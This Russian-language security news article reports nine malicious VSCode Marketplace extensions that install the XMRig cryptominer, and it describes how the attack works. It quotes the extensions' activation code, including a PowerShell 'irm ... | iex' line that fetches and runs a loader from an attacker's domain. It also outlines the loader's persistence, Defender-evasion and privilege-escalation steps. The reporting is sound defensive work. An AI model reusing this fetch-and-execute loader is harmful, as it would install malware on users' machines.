Исследователь ExtensionTotal Ювал Ронен обнаружил девять расширений VSCode на Visual Studio Code Marketplace от Microsoft, которые выдают себя за легитимные инструменты разработки, но заражают пользователей криптомайнером XMRig для майнинга Ethereum и Monero.

Microsoft VSCode — популярный редактор кода, позволяющий пользователям устанавливать расширения для расширения функциональности программы. Эти расширения можно загрузить с онлайн-хаба для разработчиков VSCode Marketplace от Microsoft.

Имена вредоносных пакетов:

  • Discord Rich Presence для VS Code (автор Mark H) — 189 тыс. установок;

  • Rojo — Roblox Studio Sync (автор evaera) — 117 тыс. установок;

  • Solidity Compiler (автор VSCode Developer) — 1,3 тыс. установок;

  • Claude AI (автор Mark H);

  • Golang Compiler (автор Mark H);

  • ChatGPT Agent для VSCode (автор Mark H);

  • HTML Obfuscator (автор Mark H);

  • Python Obfuscator для VSCode (автор Mark H);

  • Rust Compiler для VSCode (автор Mark H).

Таким образом, у расширений уже накопилось более 300 тысяч установок с 4 апреля. Эти цифры, вероятно, искусственно завышены, чтобы придать расширениям видимость легитимности и популярности.

После установки и активации они извлекают скрипт PowerShell из внешнего источника по адресу «https://asdf11[.]xyz/» и выполняют его. После завершения также устанавливается легитимное расширение, чтобы не вызвать подозрений у пользователя.

function activate(context) {
  // Register the command to execute the PowerShell Loader and install the extension
  let disposable = vscode.commands.registerCommand('hubtestmanagerex.runCmd', async function () {
    if (process.platform === 'win32') {
      const cmdCommand = 'powershell -Command "irm <https://asdf11.xyz/> | iex"';
potry {
        // Execute the command to download and execution the PowerShell Loader
        await executeCmdCommand(cmdCommand);
        // After the PowerShell Loader has been executed, install the Solidity extension
        const extensionId = 'icrawl.discord-vscode'; // The identifier for the Solidity extension
        await installExtension(extensionId);
        
      } catch (error) {
        vscode.window.showErrorMessage(`Failed to execute command: ${error.message}`);
      }
    }
  });

Вредоносный скрипт PowerShell выполняет несколько функций, таких как отключение защиты, установление персистентности, повышение привилегий и, в конечном итоге, загрузка криптомайнера.

Во-первых, он создаёт запланированную задачу, замаскированную под «OnedriveStartup», и внедряет скрипт в реестр Windows, чтобы гарантировать запуск вредоносного ПО (Launcher.exe) при запуске системы.

Затем он отключает критически важные службы Windows, такие как Windows Update и Update Medic, и добавляет свой рабочий каталог в список исключений Windows Defender, чтобы избежать обнаружения.

Если вредоносная программа не была запущена с правами администратора, она имитирует системный двоичный файл (ComputerDefaults.exe) и выполняет перехват DLL, используя вредоносный MLANG.dll для повышения привилегий и выполнения полезной нагрузки Launcher.exe.

Исполняемый файл, который поставляется в форме, закодированной в base64, декодируется скриптом PowerShell для подключения к вторичному серверу в myaunet[.]su для загрузки и запуска XMRig.

В BleepingComputer обнаружили, что на удалённом сервере злоумышленника также есть папка /npm/. Это потенциально указывает на то, что кампания активна и в этом индексе пакетов. Однако журналистам не удалось найти вредоносные файлы на платформе NPM.

Тем, кто установил такое расширение, следует немедленно удалить его, а затем вручную найти и удалить майнер монет, запланированные задачи, раздел реестра и каталог вредоносного ПО.

В BleepingComputer связались с Microsoft по поводу проблемных расширений, и компания заявила, что уже удалила их, а издатель был заблокирован в VS Marketplace. 

О том, как хакеры используют функцию «туннелирование» в VSCode и что делать для выявления подобных действий с помощью R-Vision SIEM, можно прочитать здесь.